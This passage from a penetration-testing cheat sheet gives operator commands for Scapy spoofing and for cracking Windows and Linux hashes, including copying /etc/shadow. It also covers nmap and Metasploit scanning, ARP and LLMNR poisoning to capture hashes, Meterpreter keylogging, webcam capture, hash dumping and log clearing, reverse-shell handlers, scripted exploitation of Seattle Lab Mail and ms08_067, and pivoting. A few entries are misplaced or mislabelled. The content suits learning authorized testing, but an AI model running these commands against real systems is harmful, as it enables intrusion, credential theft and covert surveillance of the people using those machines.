reserved : BitField = (0)
flags : FlagsField = (2)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
```

Scapy Altering Packets

```
Packet layer fields are Python variables and can
be modified.
Example packet:
>>> packet = IP(dst="10.10.10.50")/
```

```
TCP(sport=80)
Viewing a field's value like the source port:
>>> packet.sport
80
Setting the source port:
>>> packet.sport = 443
>>> packet.sport
443
Setting port ranges:
>>> packet[TCP].dport = (1,1024)
Setting a list of ports:
>>> packet[TCP].dport = [22, 80, 445]
Setting the TCP flags (control bits):
>>> packet[TCP].flags="SA"
>>> packet[TCP].flags
18 (decimal value of CEUAPRSF bits)
>>> packet.sprintf("%TCP.flags%")
'SA'
Note! For ambiguous fields, like "flags", you must
specify the target layer (TCP).
Setting destination IP address(es):
>>> packet[IP].dst = "1.2.3.4"
>>> packet[IP].dst = "sans.org"
Using CIDR:
>>> packet[IP].dst = "1.2.3.4/16"
Multiple Destinations:
>>> packet[IP].dst = ["1.2.3.4",
"2.3.4.5", "5.6.7.8"]
```

OS Default TTLS

```
Unix TTL: 64
Windows TTL: 128
Cisco (old) TTL: 255
```

Sending Packets

```
Creating and sending a packet:
>>> packet =
IP(dst="4.5.6.7",src="1.2.3.4")/
TCP(dport=80, flags="S")
Send a packet, or list of packets without custom ether
layer:
>>> send(packet)
Other send functions:
sr() sends and receives without a custom ether()
layer
sendp() sends with a custom ether() layer
srp() sends and receives at with a custom ether()
layer
sr1() sends packets without custom ether() layer
and waits for first answer
sr1p() sends packets with custom ether() layer and
waits for first answer
Send function options:
filter = <Berkley Packet Filter>
retry = <retry count for unanswered packets>
timeout = <number of seconds to wait before giving
up>
iface = <interface to send and receive>
>>> packets = sr(packet, retry=5,
timeout=1.5, iface="eth0", filter="host
1.2.3.4 and port 80")
```

Receiving and Analyzing Packets

```
Received packets can be stored in a variable when
using a send/receive function such as sr(), srp(), sr1()
sr1p():
>>> packet = IP(dst="10.10.10.20")/
TCP(dport=0,1024)
>>> unans, ans = sr(packet)
Received 1086 packets, got 1024 answers,
```

```
remaining 0 packets
“ans” will store the answered packets:
>>> ans
<Results: TCP:1024 UDP:0 ICMP:0 Other:0>
To see a summary of the responses:
>>> ans.summary()
IP / TCP 10.1.1.15:ftp_data >
10.10.10.20:netbios_ssn S ==> IP / TCP
10.10.10.20:netbios_ssn > 10.1.1.15:ftp_data
SA / Padding
Note: this is the output from port 139 (netbios_ssn).
Notice how this port was open and responded with a
SYN-ACK.
To view a specific answer as a stream in array form:
>>> ans[15]
To view the first packet in the stream:
>>> ans[15][0] (this will be packet the Scapy
sent)
<IP frag=0 proto=tcp dst=10.10.10.20 |<TCP
dport=netstat flags=S |>>
To view the response from the distant end:
>>> ans[15][1]
<IP version=4L ihl=5L tos=0x0 len=40 id=16355
flags=DF frag=0L ttl=128 proto=tcp
chksum=0x368c src=10.10.10.20 dst=10.1.1.15
options=[] |<TCP sport=netstat dport=ftp_data
seq=0 ack=1 dataofs=5L reserved=0L flags=RA
window=0 chksum=0x2b4c urgptr=0 |<Padding
load='\x00\x00\x00\x00\x00\x00' |>>>
To view the TCP flags in the response packet:
>>> ans[15][1].sprintf("%TCP.flags%")
'RA'
```

Spoofing IPv6 Neighbor Advertisements Using Scapy (for MitM)

```
>>> ether=Ether(dst="33:33:00:00:00:01")
>>> ipv6=IPv6(dst="ff02::1")
>>> na=ICMPv6ND_NA(tgt="2a03:2149:8008:2901::5", R=0, S=0, O=1)
>>> lla=ICMPv6NDOptDstLLAddr(lladdr="00:24:54:ba:a1:97")
>>> packet=ether/ipv6/na/lla
>>> sendp(packet,loop=1,inter=3)
```

Password Cracking:john

Tools Listed under Password Cracking

```
john, cain
```

John, Cain

```
site: [url]                                          :search only one url
site:Microsoft.com -site:www.microsoft.com     :ex showing subdomains
```

Hash Identification

```
john 127.0.0.1.pwdump
Hash-identifier
```

Crack LM Hashes

```
john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt
```

Crack NTLM Hashes (aka NTHash)

```
Obtained by dumping SAM database or using Mimikatz
You CAN use pass the hash
john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt
```

Crack NTLMv1 Hashes (aka Net-NTLMv1)

```
Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh
You CANNOT use pass the hash
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
```

Crack NTLMv2 Hashes (aka Net-NTLMv2)

```
Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh
You CANNOT use pass the hash
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```

Hash Cracking (Windows)

```
john --rules --wordlist=/usr/share/wordlists/~.txt 127.0.0.1.pwdump
* permutation rules stored in john.conf; copy rules from single mode into wordlist mode
john.exe sam.txt                                     :standard sam decrypt
john.exe -format=nt sam.txt                          :focus on NT decryption
hashcat                                              :multithreaded cracking tool
oclhashcat                                           :GPU cracking w/ATI/NVIDIA -30x faster
```

Hash Cracking (Linux)

```
cat /etc/shadow                                      :check to see if you have shadow passwds
cp /etc/passwd /tmp/pass_file                        :copy to tmp
cp /etc/shadow /tmp/shadow-file                      :copy to shadow
unshadow <pass_file> <shadow-file> > unshadowed      :first combine
less /tmp/unshadowed                                 :make sure it has data, q to get out
john /tmp/combined
john -format=sha512crypt /tmp/combined               :space
john --rules --wordlist=/usr/share/wordlists/~.txt unshadowed.txt --rules -stdout
* permutation rules stored in john.conf; copy rules from single mode into wordlist mode
*Remember to delete john.pot
```

John the Ripper: SSE2 Capable

```
cp -r /opt/john-1.8.0 /tmp/john-sse2                 :copy john to tmp folder
* permutation rules stored in john.conf; copy rules from single mode into wordlist mode
cd src
make clean linux-x86-sse2                            :assuming we are 32 bit
```

```
cd /tmp/john-sse2/run/                          :cd into dir we made sse2 john
./john --test                                   :test showing much faster than normal
./john /tmp/hashfile.txt                        :start running SSE2 john
./john --wordlist=test.dict --rules -stdout
./john --show /tmp/hashfile.txt                 :show current cracked passwords
cat john.pot                                    :show all cracked passwords
```

John Jumbo Version

http://www.jedge.com/wordpress/2009/11/john-the-ripper-w-jumbo-patch/
Additional support for John; example needed to crack user.MYD (mysql) file

Password Cracking:cain

Tools Listed under Password Cracking

john, cain

MitM Sniffing with Cain and Able

From scotthelme.co.uk

Perform MitM

Open Cain, first step is to identify clients on the network
Click Sniffter tab, then click start sniffer button
Passive – wait; active – right click in empty list and hit scan MAC addresses
Decide who target, Select the APR tab at the bottom, click anywhere in the empty space indicated and the blue plus icon at the top of the screen will be activated. This allows you to add clients to the attack, click that.
On the left side select your target, and all on the right that appear, ok
Hit Start APR button (hard icon)
Half-routing means working on it, Full-routing means unrestricted access

Hijack Existing Sessions

Start Wireshark and capture on interface, filter ip.src==<target>

Cain: Dictionary Attack

Dictionary attack uses a predetermined list of words from a dictionary to generate possible passwords that may match the MD5 encrypted password. This is one of the easiest and quickest way to obtain any given password.
1. Start Cain & Abel (Start > Programs > Cain > Cain).
2. Choose 'Yes' to proceed when a 'User Account Control' notification pops up regarding software authorization.
3. Once on, select the 'Cracker' tab with the key symbol, then click on MD5 Hashes on the left hand side.
4. As you might have noticed we don't have any passwords to crack, thus for the next few steps we will create our own MD5 encrypted passwords. First, locate the Hash Calculator among a row of icons near the top. Open it.
5. Next, type into 'Text to Hash' the word password. It will generate a list of hashes pertaining to different types of hash algorithms. We will be focusing on MD5 hash so copy it. Then exit calculator by clicking 'Cancel' (Fun Fact: Hashes are case sensitive so any slight changes to the text will change the hashes generated, try changing a letter or two and you will see. This is called the avalanche effect.
6. After you exit, right click and select 'Add to list', paste your hash then click OK. Your first encrypted password! But don't stop there, add the following MD5 hashes from the words PaSS, 13579,15473, sunshine89,and c@t69
7. With all the encrypted MD5 passwords on hand, we can finally start! Move your cursor and select all six passwords,then right click and press 'Dictionary Attack'.
8. Once the window opens, go up to the dictionary and select 'Wordlist.txt', right click and select 'Reset initial file position'.You'll know you've resetted when there's nothing under the position column. Note: Make sure to do this every time you want to restart a dictionary attack!
9. Click 'start' and watch the magic happens before your eyes! Once it ends 'exit'. Your result should be the same as below.

Cain: Rainbow Tables

Rainbow tables use pre-calculated MD5 hashes sorted on a table(s) to compare to encrypted MD5 files in order to find a match thus cracking the password. This type of password cracking trades time and storage capacity.
1. Continuation from the previous 'Dictionary Attack'section. Cain & Abel should already be opened with following MD5 encrypted passwords.
2. Now with the other half of the passwords still encrypted, we will be using rainbow table
attacking to see if we can finally crack them. Selectall six passwords, right click, and select 'Cryptanalysis Attack via RainbowTables'.
3. A window will pop up and you could see under 'Sorted Rainbow Tables'there is already a MD5 rainbow table already added. Notice the specifications for that specific

rainbow table. Click ‘Start’when ready. ‘Exit’ when done.

Cain: Brute Force

Brute force attacks uses a finite but enormous number of combinations involving alphabet, numbers, and symbols in order to crack a password. This type of password cracking is usually used as a last resort as it’s the most time consuming overall.

1. Continuation from the previous ‘Rainbow Tables’section. Cain & Abel should already be opened with the following MD5 encrypted passwords.
2. Now with only two more passwords still encrypted, we will be using brute force attack to see if we can finally crack them. Selectall six passwords, right click, and select ‘Brute-Force Attack’.
3. Once a window appears we will have to adjust some settings to fit our requirements. Under Charsetand Predefinedselected, open the drop down bar and select the one below the initially selected one. Next, under Password lengthturn Max down to 5.
4. When ready click ‘Start’.Once it’s done calculating ‘Exit’
5. If all else fails, Brute-Force attack is the only option left. Open the ‘Brute-Force Attack’ window
6. Under Charset with Predefined selected, select the drop down bar and choose the one with just the lowercase and UPPERCASE key.Turn down the max under password length to
7. Press Start

Enumeration

Sniff While Scanning (Can be helpful)

```
tcpdump –nn host <ip>                          :sniff a particular ip
nmap –n –sT <ip>                               :shows 3 way handshake in tcpdump
```

Passive Fingerprinting

```
p0f -i eth0 -p -o /tmp/p0f.log
fl0p
```

Nmap Probe/Sweeps (quicker, less results)

```
nmap –PB <ip>                                  :ICMP ER, SYN-443,ACK-80;ICMP TSR
nmap –sP <ip>                                  :ICMP ping sweep (many fws block)
nmap –PS[portlist] <ip>                        :TCP ACK ping;i.e. –PS80
nmap –sn <ip>                                  :ping sweep
nmap –PA <ip>                                  :TCP Syn ping
nmap –PP <ip>                                  :ICMP timestamp request (type 13)
nmap –PM <ip>                                  :ICMP address mask request (type 17)
nmap –PR <ip>                                  :ARP discovery-only works on same subnet
```

Nmap Scans

```
Nmap –Pn                                       :turns off ping before scan-use often
nmap –sT –A –P0 <target_ip>                    :detailed info
nmap –F <ip>                                   :Fast scan – top 100 ports
nmap –p 80 <ip>                                :scan single port
nmap –sA <ip>                                  :TCP ACK Scan
nmap –sF <ip>                                  :FIN Scan (set FIN bit of all packets)
nmap –sS <ip>                                  :stealth scan (half open, not stealthy)
nmap –sT <ip>                                  :TCP Connect Scan
nmap –sU –p 53,111,414,500-501<ip>             :UDP Scan (specified ports)
nmap –sW <ip>                                  :TCP Windows scan
nmap <ip> --script=<all,category,dir,script>   :Nmap Scripting Engine
nmap <ip> --script smb-os-discovery.nse        :nmap NSE example
grep safe /opt/nmap-6.4.7/share/nmap/scripts/script.db :search for safe NSE scripts
nmap <ip> --iflist                             :show host interfaces & routes
nmap <ip> --reason                             :shows you why it gave you what it did
<spacebar>                                     :estimate progress during scan
```

Nmap OS Fingerprinting (most bandwidth intensive scan)

```
nmap –O <ip>                                   :OS scan
nmap –A <ip>                                   :detect OS & services
nmap –sV <ip>                                  :standard service detection
```

Nmap Fuzzing Scans

```
nmap –sM <ip>                                  :TCP Maimon scan (set FIN & ACK bits)
nmap –sX                                       :Xmas Tree Scan (FIN, PSH, URG bits)
nmap –sN                                       :null scan (set all control bits to 0)
nmap –s0 <ip>                                  :Scan IP protocols(TCP,ICMP,IGMP,etc.)
```

Nmap Output Options

```
nmap –oA outputfile                            :save grep, xml, and normal format
nmap –oX outputfile.xml <ip>                   :save xml file
nmap –oG outputfile.txt <ip>                   :save grep format file
```

Nmap Firewall Scans

```
nmap --badsum       :RESET from good and bad checksum means firewall
nmap -sN <ip>       :TCP Null scan to fool fw to generate response(TCP flag header 0)
nmap -sF <ip>       :TCP Fin scan to check firewall (TCP FIN bit)
nmap -sX <ip>       :Xmas Scan (FIN, PSH, URG flags)
nmap -f <ip>        :-f causes scan (including ping) to use fragmented packets
nmap -n -D src_ip,src_ip2 dest_ip       :-D makes it look like decoys are scanning also
nmap --spoof-mac 0 <ip>:0 chooses a random MAC to spoof
```

TCP Idle Scan (scan stealthily by spoofing ip address of another host on network)

```
msfconsole                                          :start metasploit
use auxiliary/scanner/ip/ipidseq                    :look for idle computers
show options                                        :show parameters
set RHOSTS <ips>; set THREADS 10                    :set parameters
run
*We get a list of potential idle hosts to use as our target; pick one
nmap -PN -sI <idle_ip> <target_ips>                 :launch TCP Idle Scan
```

MetaSploit Port Scans

```
msfconsole                                          :start MetaSploit
search portscan                                     :search for portscans
use auxiliary/scanner/portscan/syn                  :select a particular portscan
```

SQL Scan

```
*Saves a ton of time because UDP 1434 is what you query to discover dynamic SQL ports
(i.e. if they changed it from the non-standard TCP 1433)
msfconsole                                          :open metasploit
use auxiliary/scanner/mssql/mssql_ping              :scanner for SQL
show options                                        :show parameters
set RHOSTS <ip>; set THREADS 10                     :set parameters
run                                                 :run
```

SSH Scan

```
*FTP often easily exploitable
msfconsole                                          :open metasploit
use auxiliary/scanner/ssh/ssh_version               :scanner for SSH version
show options                                        :show parameters
set RHOSTS <ip>; set THREADS 10                     :set parameters
run                                                 :run
OR
nmap -n -script=sshv1.nse <ip> -p 22                :check for SSHv1 (weak)
```

FTP Scan

```
*older SSH versions have easily exploitable vulnerabilities
msfconsole                                          :open metasploit
use auxiliary/scanner/ftp/ftp_version               :scanner for FTP version
show options                                        :show parameters
set RHOSTS <ip>; set THREADS 10                     :set parameters
run                                                 :run
```

SNMP Sweep

```
*SNMPv1 and v2 very flawed, v3 much more secure
msfconsole                                          :open metasploit
use auxiliary/scanner/snmp/snmp_login               :scanner for SNMP version
show options                                        :show parameters
set RHOSTS <ip>; set THREADS 10                     :set parameters
run                                                 :run
```

RDP (Windows) - Loud

```
rdesktop –u guest <target_ip>                    :guest often authenticates
```

Netcat Port Scans

```
nc –v –n –z –w1 <ip> 20-80                       :netcat port scan
echo “”|nc –v –n –w1 <ip> <port-range>           :port scanner which harvests banners
```

Windows Command Line Ping Sweep

```
For /L %i in (1,1,255) do @ping –n 1 10.0.0.%i | find “TTL”  :TTL shows successful
```

Powershell Scans

```
1.255 | % {ping –n 1 –w 100 10.10.10.$_ | select-string ttl}:Ping sweep
1..1024 | % {echo ((new-object Net.Sockets.TcpClient) .Connect("10.0.0.1",$_)) "Port $_
is open" } 2>$null                                  :Port Scan
```

Fast Scan Tools (for big blocks of ips)

```
ScanRand                                         :one program sends SYNs; one receives
Zmap                                             :scans all of IPPv4 for one port
MassScan                                         :utilizes threading
```

Response Meanings

```
RST + ACK (TCP)                                  :likely port closed or firewall blocking
ICMP Port Unreachable (TCP)                      :most likely blocked by firewall
ICMP Port Unreachable (UDP)                      :most likely port is closed
No response (TCP)                                :most likely nothing listening on system
No response (UDP)                                :could be port closed,firewall,ignored?
```

Enumeration: Nmap / MetaSploit Integration

Zenmap Info

Zenmap is the frontend for Nmap. You can save the output to an .xml file, but to parse it into a useable .csv use Jason Fossen's PowerShell script parse-nmap.ps1. It's in the appendix as well. You feed parameters to pase the data, for instance the following filters open ports 80, closed ports 443, and saves off the data to a .csv.

```
.\parse-nmap.ps1 .\HTTP_Scan_Results.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | where {$_.Ports -match "closed:tcp:443"} | Export-CSV FinalResults.csv
```

Nmap & MetaSploit

```
msfconsole                                          :start metasploit
dbstatus                                            :verify metasploit is connected to db**
db_nmap –Pn –sS –A <ips>                            :populate db with scan
db_nmap –O <ip>                                     :populate db with OS Scan
db_import /tmp/file.xml                             :import nmap scan file
db_import /tmp/file.nessus                          :import nessus vulnerability scan
exit                                                :

**in case db_status issues:
msfdb start
db_status
msfdb init
db_status
db_connect –y /usr/share/metasploit-framework/config/database.yml
db_status
search smb                                          :if using slow search:
update-rc.d postgresql enable
db_status
db_rebuild_cache
```

MetaSploit Database Querying

```
hosts                                               :show discovered hosts
hosts –add <ip>                                     :manually add host
hosts –S linux                                      :show linux hosts
services                                            :show discovered services
services –add –p 80 <ip>                            :manually add services for hosts
vulns                                               :show vulnerabilities discovered
vulns –S RPC                                        :show RPC vulnerable hosts
vulns –p 445                                        :show vulnerable smb hosts
```

MSFMap Meterpreter Module (Scan from Compromised Host)

```
exploit                                             :exploit meterpreter shell
load msfmap                                         :load module into meterpreter
msfmap –sP                                          :ping sweep
msfmap –sT                                          :TCP Connect scan
msfmap –-top-ports                                  :same as nmap
```

Sniffing (While you scan)

WireShark

```
At the startup, click the capture interface you want to monitor. You can add a capture
filter such as host <ip> and tcp port 4444 to filter out unwanted traffic. In Kali
click Capture / Interfaces, then click options and you can set a filter. In Windows
it's right there on the main page.
```

Sniff While Scanning (Can be helpful)

```
tcpdump –nn host <ip>                          :sniff a particular ip
nmap –n –sT <ip>                               :shows 3 way handshake in tcpdump
```

tcpdump (Linux)

```
tcpdump –n                                     :use #s instead of names for machines
tcpdump –i [int]                               :sniff interface (-D lists ints)
tcpdump –v                                     :verbose (IP ID, TTL, IP options, etc)
tcpdump –w                                     :Dump packets to file (-r to read)
tcpdump –x                                     :print hex
tcpdump –X                                     :print hex & ASCII
tcpdump –A                                     :print ASCII
tcpdump –s [snaplength]                        :older vs: –s 0 to capture whole packet
tcpdump <ether,ip,ip6,arp,rarp,tcp,upd>        :capture certain protocol traffic
tcpdump host <host>                            :only give packets from that host
tcpdump net <network>                          :
tcpdump port <port>                            :
tcpdump portrange <range>                      :
port src                                       :only from that host or port
port dst                                       :only from that destination
```

tcpdump Examples

```
tcpdump –nnX tcp and dst <ip>                  :view tcp packets with ASCII & hex
tcpdump –nn tcp and port 445 and host <ip>     :view TCP p445 going to or from <ip>
tcpdump –nv –s0 port 445 –w /tmp/winauth.pcap  :-s0 means full packets, -w dumps 2 file
```

Sniff Authentication Sessions

```
Pcap Strings Search
ngrep –q –I /pcaps/sample.pcap "SEARCHPHRASE"  :-q only headers & payload
ngrep –q –I /pcaps/sample.pcap "HTTP/1.0"      :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET          :alternate search
tshark –nr /sample.pcap –Y "http.request.method==GET" :alternate search
```

Pcap Extraction with dsniff

```
dsniff –p pcapfile -m                          :
```

ARP Poisoning with Ettercap

```
From pentestmag.com
Perform MitM
sudo ettercap –G
Click Scan for Hosts (active scan), when finished Hosts menu/Host List
Click "Add to Target" button(s)
Click Mitm menu / Arp Poisoning / Sniff Remote Connection / ok
Start menu / Start Sniffing

Hijack Existing Sessions
Start Wireshark and capture on interface, filter ip.src==<target>
```

Tools listed under Indenifying Vulnerabilities

```
Spiderlabs responder, rpcclient, MetaSploit, Scapy
Note for Scapy refer earlier in sheet under IA & ID Vulns: Scapy
```

ID Vulns: SpiderLabs Responder

SpiderLabs Responder

```
Answer stray LLMNR, NBT-NS, DNS/MDNS, Proxy requests.
MitM attacks include HTTP, HTTPS, SQL Server, Kerberos, FTP, IMAP, SMTP, DNS, LDAP. It
can also server up malicious .exe and force downgrade for LANMAN (easier to crack).
```

SpiderLabs Responder

```
./Responder.py [options]
./Responder.py -I eth0 -wrf
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -A, --analyze         Analyze mode. This option allows you to see NBT-NS,
                        BROWSER, LLMNR requests without responding.
  -I eth0, --interface=eth0     Network interface to use
  -i                    What IP to tell victims to connect to for LLMNR response
  -b, --basic           Return a Basic HTTP authentication. Default: NTLM
  -r, --wredir          Enable answers for netbios wredir suffix queries.
                        Answering to wredir will likely break stuff on the
                        network. Default: False
  -d, --NBTNSdomain     Enable answers for netbios domain suffix queries.
                        Answering to domain suffixes will likely break stuff
                        on the network. Default: False
  -f, --fingerprint     This option allows you to fingerprint a host that
                        issued an NBT-NS or LLMNR query.
  -w, --wpad            Start the WPAD rogue proxy server. Default value is
                        False
  -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                        Upstream HTTP proxy used by the rogue WPAD Proxy for
                        outgoing requests (format: host:port)
  -F, --ForceWpadAuth   Force NTLM/Basic authentication on wpad.dat file
                        retrieval. This may cause a login prompt. Default:
                        False
  --lm                  Force LM hashing downgrade for Windows XP/2003 and
                        earlier. Default: False
  -v, --verbose         Increase verbosity.
```

LLMNR MitM Example (-i)

```
sudo su -
cd /opt/Responder/
./Responder.py -I eth0 -i <your-ip>

Once you get a hit, try to crack he hash with john
cd logs/                                        :/opt/Responder/logs
john -format=netntlmv2 ./SMB-NTLMv2-ssP-ip.txt:crack the hash(es) we just collected
```

ID Vulns: rpcclient

rpcclient Exercise

```
Goal is to open and list SMB sessions with net use and net session, enumerate all
kinds of info on our target Windows machines using enum on Windows, use the Linux
smbclient and rcpclient tools to make SMB sessions, enumerate detailed data with
rpcclient and then drop SMB sessions.

Use smbclient on Linux to pull a list of Windows shares from Windows:
smbclient –L <ip> -U <user>

Dig in to target using Linux rpcclient program:
rpcclient –U <usr> <ip>                          :enter passwd

$>help                                           All commands available
$>enumdomusers                                   :user enum
$>srvinfo                                        :server info
$>enumalsgroups domain                           :domain groups enum
$>enumalsgroups builtin                          :local groups enum
$>queryuser 500                                  :500 is original Win admin accnt
$>net use                                        :look at outbound SMB sessions
$>net session                                    :inbound SMB sessions
$>lookupnames <user>                             :find SID of account
$>lookupnames <group>                            :find SID of group
*next step for GSE could be brute force script i.e. from
github.com/dafthack/DomainPasswordSpray
```

rpcclient: NULL SMB sessions

```
rpcclient -U "" x.x.3.96
Password:
rpcclient $> lsaenumsid
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-501
rpcclient $> lookupnames Administrator

rpcclient $> enumalsgroups
rpcclient $> enumalsgroups builtin     :builtin from prev cmd
rpcclient $> querygroup 0x220          :0x220 from prev cmd
OR
rpcclient $> queryaliasmem builtin 0x220
rpcclient $> lookupsids S-1-..-500     :500's (admins) from prev cmd
```

rpcclient: Plundering Windows Account info via authenticated SMB sessions

```
rpcclient —U <username> <WinIPaddr>
rpcclient $> srvinfo                   :Win Machine Version
rpcinfo -p <target>

User/Group Cmds
rpcclient $> enum<tab><tab>            :enumeration commands
rpcclient $> enumdomusers              :enumerate users (shows RIDs)
rpcclient $> querydominfo
rpcclient $> enumalsgroups domain      :enumerate domain groups (shows RIDs)
rpcclient $> enumalsgroups builtin     :enumerate builtin groups (shows RIDs)
rpcclient $> lookupnames administrators:enum admin group (shows SIDs)
rpcclient $> lookupnames administrator :enumerate local account (shows SIDs)
rpcclient $> queryuser 500             :query RID, lots of info
rpcclient $>getdompwinfo               :password policy
```

ID Vulns: Metasploit

Basic Commands

```
/etc/init.d/postgresql start                    :MSF service required
/etc/init.d/metasploit start                    :MSF service required
update-rc.d postgresql enable                   :auto boot postgresql svc
update-rc.d metasploit enable                   :auto boot metasploit svc
msfconsole                                      :starts metasploit-framework
armitage                                        :3rd party GUI to MSF
help                                            :help
show exploits                                   :
search type:exploits psexec                     :search for psexec exploits
show auxiliary                                  :various tasks, info gather, scan, etc
show payloads                                   :
show options                                    :
info                                            :ie info exploit/windows/smb/psexec
setg RHOSTS <ip>; setg THREADS 10               :setg sets global variables
back                                            :return from auxiliary module
exploit -j                                      :run exploit in background
jobs                                            :show running jobs
sessions -l                                     :show list of sessions
sessions -i <#>                                 :interact with session
sessions -K                                     :kill all sessions
background                                      :send session to background
Cntrl+Z                                         :exit session and go back to msfconsole
```

Meterpreter Commands

```
help                                            :summary of commands
exit                                            :or quit works too
?                                               :meterpreter full commands
migrate                                         :migrate to stable process such as lsass
sysinfo                                         :system name & OS running on
shutdown & reboot                               :system running on
reg                                             :read or write to memory
cd; lcd; pwd; ls; cat; mkdir; rmdir             :basic file system commands
cat                                             :display content files
download/upload                                 :move file to/from machine
getpid; getuid; ps; kill; execute               :common process commands
getprivs                                        :pull as many additional privs as possbl
migrate                                         :migrate meterpreter to a stabler proc
ipconfig; route                                 :networking commands
portfwd add -l 1234 -p 4444 -r <SecondTarget>   :set up port forward; first target=proxy
screenshot -p <file.jpg>                        :take a screenshot of the victim
idletime                                        :time GUI has been idle
uictl <enable/disable> <keyboard/mouse>         :don't do during pen tests
webcam_list; webcam_snap                        :webcam options
record_mic -d #                                 :record microphone # of seconds
keyscan_start; keyscan dump; keyscan_stop       :keystroke logger
use priv                                        :use the ext_server_priv module
getsystem -t 0                                  :priv escalation 0 tries all - priv mod
hashdump                                        :dump hashes from SAM - priv mod
run hashdump                                    :pull hashes from registry
timestomp                                       :modify date/times - priv mod
clearev                                         :clear logs
```

MetaSploit Database Services

```
hosts                                           :display info about discovered hosts
hosts -c address,os_flavor                      :search for certain properties of hosts
dbnmap 192.168.31.200-254 --top-ports 20        :scan hosts into MSF db w/nmap
services -p 443                                 :search MSF for machines w/ports open
db_export                                       :dump contents of database to flat file
creds                                           :creds collected
loot                                            :post mods-creds from browser, ssh key..
```

MSF Multi/Handler (Accept various incoming connections)

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
show options
set LHOST 192.168.0.5
set LPORT 443
exploit

*then once your listener is set up execute your callback
**alternately you could try to set a payload like "set payload
linux/x86/shell/reverse_tcp", then once you connect background the session (Cntrl+Z),
and "sessions –u #" will upgrade your reverse shell to a meterpreter shell. Then
sessions –i # to interact with that upgraded session.
```

Webdav Vulnerabilities (often poorly configured and easy targets)

```
use auxiliary/scanner/http/webdav_scanner      :sets the webdav scanner
show options                                   :parameters required to run this mod
run                                            :run the module
```

SNMP Enumeration

```
search snmp                                    :list exploits & modules
use auxiliary/scanner/snmp/snmp_enum           :select snmp enumeration scan
info                                           :read info about it
show options                                   :parameters required to run this mod
set RHOSTS <ip_range>; set THREADS 10          :set parameters
run                                            :run the module
```

SMB Version Scanner

```
search smb                                     :list exploits & modules
use auxiliary/scanner/smb/smb_version          :select smb version scan
info                                           :read info about it
show options                                   :parameters required to run this mod
set RHOSTS <ip_range>; set THREADS 10          : set parameters
run                                            :run module
```

MetaSploit PSExec (Needs creds & local admin but one of the most commonly used exploits)

```
msfconsole                                     :start it up
use exploit/windows/smb/psexec                 :select our psexec module
show options, set RHOST, set RPORT, set SMBUser, set SMBPass, set SMBDomain
exploit
*if psexec doesn't work Veil-Catapult is useful is psexec fails
```

Pop3 Exploit Example

```
search pop3                                    :list pop3 exploits & modules
use exploit/windows/pop3/seattlelab_pass       :Seattle Lab Mail 5.5 Example exploit
set PAYLOAD windows/ <tab>                     :show all windows payload options
set PAYLOAD windows/shell_reverse_tcp          :select reverse shell
show options                                   :show parameters needing to be added
set RHOST <remote_ip>; set LHOST <attacker_ip> :set parameters
set LPORT 443
exploit
```

Meterpreter Reverse_TCP Payload (favorite & most commonly used)

```
use exploit/windows/pop3/seattlelab_pass       :Seattle Lab Mail 5.5 Example exploit
set PAYLOAD windows/met <tab>                  :show all windows meterpreter payloads
set PAYLOAD windows/meterpreter/reverse_tcp    :set the meterpreter payload for windows
show options                                   :show parameters needing to be added
exploit
help                                           :show options once you get shell
sysinfo                                        :queries basic parameters of computer
getuid                                         :permissions of session on machine
search –f *pass*.txt                           :search file system for passwords file
upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec :upload files to target
download c:\\Windows\\system32\\calc.exe /tmp/calc.exe :download file from target
shell                                          :start cmd prompt on victim machine;if
our shell dies we can simply spawn another sessions
```

```
ftp 127.0.0.1
exit –y                                          :shut down Meterpreter session
```

Meterpreter Reverse_HTTPS Payload

```
use windows/meterpreter/reverse_https            :select reverse_https
info                                             :exploit info
use windows/meterpreter/reverse_tcp_allports     :Attempts to connect back on all ports –
handy when you're not sure what egress firewall ports are in place
```

Add Exploits to MetaSploit

```
mkdir –p ~/.msf4/modules/exploits/windows/misc :make new directory
cd ~/.ms4/modules/exploits/windows/misc        :enter dir
cp /usr/share/metasploit-framework/modules/exploits/windows/pop3/seattlelab_pass.rb
./vulnserver.rb                                :copy over an exploit to mod
nano vulnserver.rb                             :edit exploit with our own
*Change payload space (in our case 800), Target Description, Ret (JMP ESP Address),
Offset, default RPORT, modify original exploit with our shell code
search vulnserver                              :search for exploit in metasploit
use exploit/windows/misc/vulnserver            :set our new exploit
set PAYLOAD windows/meterpreter/reverse_tcp    :payload
set LHOST <ip>; set LPORT 443;set RHOST <ip>   :set parameters
```

Resource Files (Automating Exploitation)

```
*Usually keep under /opt/metasploit/msf3/
echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc
echo set RHOST 192.168.1.155 >> autoexploit.rc
echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc
echo set LHOST 192.168.1.101 >> autoexploit.rc
echo exploit >> autoexploit.rc
msfconsole
resource autoexploit.rc
```

Post Exploitation

```
search post … exploit                          :establish meterpreter session
sysinfo
background                                     :background session
use exploit/windows/local/service_permissions :we want to elevate permissions
show options
set SESSION 2                                  :set session 2
exploit
sessions –i 2                                  :enter into session
```

MetaSploit Port Forwarding

```
use <first_exploit>                            :set exploit to use
set PAYLOAD windows/meterpreter/bind_tcp       :set other variables too
exploit                                        :assume we exploit
background                                     :send to background
route add <2nd_victim_subnet> <netmask> <sid>  :add pivot route
use <second_exploit>                           :prepare exploit for 2nd victim
set RHOST & PAYLOAD                            :set variables
exploit                                        :pivots exploit through 1st meterpreter
```

General Utilities

Tools listed under general utils

```
Pico/vi/nano, netcat, ssh, gpg, iptables, process hacker, built in cmd line tools
```

Pico

```
Ctrl/f Move forward a character.
Ctrl/b Move backward a character.
Ctrl/p Move to the previous line.
Ctrl/n Move to the next line.
Ctrl/a Move to the beginning of the current line.
